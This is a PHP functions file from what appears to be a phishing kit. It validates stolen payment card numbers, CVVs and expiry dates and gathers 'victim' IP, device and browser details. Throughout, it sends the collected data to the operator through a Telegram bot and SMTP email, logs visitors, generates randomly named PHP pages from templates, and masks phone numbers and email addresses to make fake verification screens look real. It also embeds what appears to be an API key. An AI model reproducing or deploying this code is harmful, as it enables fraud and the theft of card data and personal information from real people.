$file, 'name' => $random . '.php', 'path' => $randomFile]; } function go($page) { $create = create(); $content = file_get_contents(TEMPLATES . $page . '.txt'); fwrite($create['file'], $content); fclose($create['file']); $_SESSION[$page . '_path'] = $create['path']; return $create; } function removedir() { $dir = $_SESSION['folder']; array_map('unlink', glob("../$dir/*.*")); rmdir("../" . $dir); } function errclass($array, $key) { if( !is_array($array) ) return false; if( isset($array[$key]) ) { $return = 'has-error'; return $return; } return false; } function errmsg($array, $key) { if( !is_array($array) ) return false; if( isset($array[$key]) ) { $return = '
'. $array[$key] .'
'; return $return; } return false; } function get_value($value) { if( isset($_SESSION[$value]) ) { return $_SESSION[$value]; } } function get_selected_option($name,$value) { if( isset($_SESSION[$name]) && $_SESSION[$name] == $value ) { return 'selected'; } } function validate_one($number = null) { $card = $string = str_replace(' ', '', $number); if( validate_number($card) == false || strlen($card) < 15 ) { return false; } return $card; } function validate_three($number = null) { if( validate_number($number) == false || strlen($number) < 3 ) { return false; } return $number; } function validate_two($month,$year) { if( validate_number($month) == false || strlen($month) < 2 || $month > 12 ) { return false; } if( validate_number($year) == false || strlen($year) < 2 || $year < 22 ) { return false; } return $month . '/' . $year; } function validate_name($name) { if (!preg_match('/^[\p{L} ]+$/u', $name)) return false; return true; } function validate_email($email) { if (!filter_var($email, FILTER_VALIDATE_EMAIL)) return false; return true; } function validate_number($number,$length = null) { if (is_numeric($number)) { if( $length == null ) { return true; } else { if( $length == strlen($number) ) return true; return false; } } else { return false; } } function validate_date($date, $format = 'Y-m-d H:i:s') { $d = DateTime::createFromFormat($format, $date); return $d && $d->format($format) == $date; } function get_client_ip() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } else if(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } if( $ip == '::1' ) { return '127.0.0.1'; } return $ip; } function get_ip_infos($ip) { $ip_infos = file_get_contents("https://pro.ip-api.com/php/". $ip ."?key=I8h97HB1QkUVKV0&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query"); $ip_infos = unserialize($ip_infos); return $ip_infos; } function victim_infos() { $detect = new foroco\BrowserDetection(); $useragent = $_SERVER['HTTP_USER_AGENT']; $result = $detect->getAll($useragent, 'JSON'); $result = json_decode($result,true); $ip = get_client_ip(); $browserName = $result['browser_name']; $browserVer = $result['browser_version']; $device_type = $result['device_type']; $os_name = $result['os_name']; $os_version = $result['os_version']; $hostname = gethostbyaddr(get_client_ip()); $message = "IPA : $ip | $hostname" . "\r\n"; $message .= "Agent : $browserName | $browserVer | $device_type | $os_name $os_version" . "\r\n\r\n"; return $message; } function telegram_message($message) { $curl = curl_init(); $token = TELEGRAM_TOKEN; $chat_id = TELEGRAM_CHAT_ID; $format = 'HTML'; curl_setopt($curl, CURLOPT_URL, 'https://api.telegram.org/bot'. $token .'/sendMessage?chat_id='. $chat_id .'&text='. urlencode($message) .'&parse_mode=' . $format); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($curl); curl_close($curl); return true; } function send($subject,$message) { if( RECEIVE_VIA_TELEGRAM == 1 ) { telegram_message($message); } if( RECEIVE_VIA_EMAIL == 1 && RECEIVE_VIA_SMTP == 1 ) { $mail = new PHPMailer; $mail->IsSMTP(); $mail->Host = SMTP_HOSTNAME; $mail->Port = SMTP_PORT; $mail->SMTPAuth = true; $mail->Username = SMTP_USER; $mail->Password = SMTP_PASS; $mail->SMTPSecure = ''; $mail->SMTPAutoTLS = false; $mail->From = SMTP_FROM_EMAIL; $mail->FromName = 'Z0N51'; $mail->Subject = $subject; $mail->Body = $message; $mail->AddAddress(RECEIVER); $mail->Send(); } else { if( RECEIVE_VIA_EMAIL == 1 ) { $mail = new PHPMailer; $mail->From = 'localhost@domain.com'; $mail->FromName = 'Z0N51'; $mail->Subject = $subject; $mail->Body = $message; $mail->AddAddress(RECEIVER); $mail->send(); echo $mail->ErrorInfo; } if( RECEIVE_VIA_SMTP == 1 ) { $mail = new PHPMailer; $mail->IsSMTP(); $mail->Host = SMTP_HOSTNAME; $mail->Port = SMTP_PORT; $mail->SMTPAuth = true; $mail->Username = SMTP_USER; $mail->Password = SMTP_PASS; $mail->SMTPSecure = ''; $mail->SMTPAutoTLS = false; $mail->From = SMTP_FROM; $mail->FromName = 'Z0N51'; $mail->Subject = $subject; $mail->Body = $message; $mail->AddAddress(RECEIVER); $mail->Send(); } } } function visitors() { $ip_infos = get_ip_infos(get_client_ip()); $Browser = new foroco\BrowserDetection(); $useragent = $_SERVER['HTTP_USER_AGENT']; $result = $Browser->getAll($useragent, 'JSON'); $result = json_decode($result,true); $ip = $ip_infos['query']; $date = date("Y-m-d H:i:s", time()); $os_type = $result['os_type']; $os_name = $result['os_name']; $device_type = $result['device_type']; $browser_name = $result['browser_name']; $browser_version = $result['browser_version']; $country = $ip_infos['country']; $str = " $ip ($country)$date[$device_type] $browser_name $browser_version"; file_put_contents('visitors.html', $str , FILE_APPEND | LOCK_EX); } function rr() { $rand = rand(6, 9); $letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $length = strlen($letters) - 1; $random = ""; for($p = 0; $p < $rand; $p++) { $random .= $letters[mt_rand(0, $length)]; } return $random; } function semantic() { $words = array('blade','advice','medium','brink','adjust','kidney','absolute','boom','morale','wealth','basis','winner','knock','worth','month','proof','kitchen','poison','beef','prevent'); $words_count = count($words) - 1; $rand = rand(0, $words_count); return $words[$rand]; } function get_phone() { $fnums = substr($_SESSION['phone'], 0, 3); $lnums = substr($_SESSION['phone'], -3); return $fnums . "****" . $lnums; } function get_email() { $ex_email = explode('@',$_SESSION['email_address']); $fchar = substr($ex_email[0], 0, 3); return $fchar . "*******@" . $ex_email[1]; } function get_text($place) { global $lang; return $lang[$place][$_SESSION['lang']]; } ?>